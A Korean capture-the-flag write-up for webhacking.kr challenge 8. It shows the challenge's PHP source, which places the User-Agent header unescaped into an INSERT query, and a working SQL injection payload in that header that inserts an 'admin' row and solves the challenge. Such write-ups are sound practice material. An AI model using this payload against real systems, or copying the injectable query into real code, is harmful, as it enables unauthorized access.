[webhacking.kr] 8번 문제 풀이[SQL]

1 분 소요

💡 Webhacking.kr challenge(old) 8번 문제에 대한 풀이입니다.

문제

문제 화면

image

소스코드

  <?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 8</title>
<style type="text/css">
body { background:black; color:white; font-size:10pt; }
</style>
</head>
<body>
<br><br>
<center>
<?php
$agent=trim(getenv("HTTP_USER_AGENT"));
$ip=$_SERVER['REMOTE_ADDR'];
if(preg_match("/from/i",$agent)){
  echo("<br>Access Denied!<br><br>");
  echo(htmlspecialchars($agent));
  exit();
}
$db = dbconnect();
$count_ck = mysqli_fetch_array(mysqli_query($db,"select count(id) from chall8"));
if($count_ck[0] >= 70){ mysqli_query($db,"delete from chall8"); }

$result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
$ck = mysqli_fetch_array($result);

if($ck){
  echo "hi <b>".htmlentities($ck[0])."</b><p>";
  if($ck[0]=="admin"){
    mysqli_query($db,"delete from chall8");
    solve(8);
  }
}

if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
}
?>
<a href=./?view_source=1>view-source</a>
</body>
</html>

풀이

문제 분석

문제를 해결하기 위한 solve함수가 호출되는 부분은 다음과 같습니다.

  $agent=trim(getenv("HTTP_USER_AGENT")); // 나의 패킷에서 USER_AGENT 값을 추출
  $ip=$_SERVER['REMOTE_ADDR']; // 나의 IP 추출
  if(preg_match("/from/i",$agent)){ //agent 에서 from 문자열 필터링
    echo("<br>Access Denied!<br><br>");
    echo(htmlspecialchars($agent));
    exit();
  }
  $db = dbconnect();

  $result = mysqli_query($db,"select id from chall8 where agent='".addslashes($_SERVER['HTTP_USER_AGENT'])."'");
  $ck = mysqli_fetch_array($result);
  // user_agent 값을 기준으로 id를 불러옴
  if($ck){
    echo "hi <b>".htmlentities($ck[0])."</b><p>";
    if($ck[0]=="admin"){
      mysqli_query($db,"delete from chall8");
      solve(8);
    }
  }
  // 해당 쿼리 결과로 id값이 'admin'이면 solve;

  if(!$ck){
  $q=mysqli_query($db,"insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')") or die("query error");
  echo("<br><br>done!  ({$count_ck[0]}/70)");
  }
  // 만약 쿼리 결과가 없다면 현재 내 user_agent,ip를 기준으로 'guest' 유저를 db에 저장한다.

위 부분을 보니, 저의 user_agent 값을 기준으로 DB에서 쿼리를 했을 때 id가 ‘admin’이어야 합니다. 그리고 저의 user_agent 값이 insert 문으로 DB에 저장되기 때문에 이 부분을 우회하여 계정을 ‘guest’가 아닌 ‘admin’으로 저장해 보겠습니다.

먼저 user_agent 값을 변조하기 위해서는 Burp Suite 같은 프록시 툴을 이용해서 패킷을 잡아야 합니다.

아래 그림에서 보이는 부분이 아무런 변조를 하지 않았을 때 서버로 날아가는 저의 패킷 입니다.

image

  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36

기본 User-Agent 값은 위와 같으며 이 내용을 이용해서 insert 부분을 우회해 보겠습니다.

먼저 위의 내용이 서버로 전달되면 서버에서는 다음 SQL문이 작동합니다.

  "insert into chall8(agent,ip,id) values('{$agent}','{$ip}','guest')"

위에서 $agent 부분을 다음과 같이 넣어주겠습니다.

  1234','1','admin'),('5678

$agent 부분을 위의 문자열을 대입해 보면 서버쪽에서 동작하는 sql 문은 다음과 같이 변조가 됩니다.

  "insert into chall8(agent,ip,id) values('1234','1','admin'),('5678','{$ip}','guest')"

이를 이용해서 실제로 패킷을 변조해서 보내 보겠습니다.

image

이제 서버로 User-Agent 값을 1234를 보내면 됩니다.

image

그러면 문제가 풀립니다.

image

댓글남기기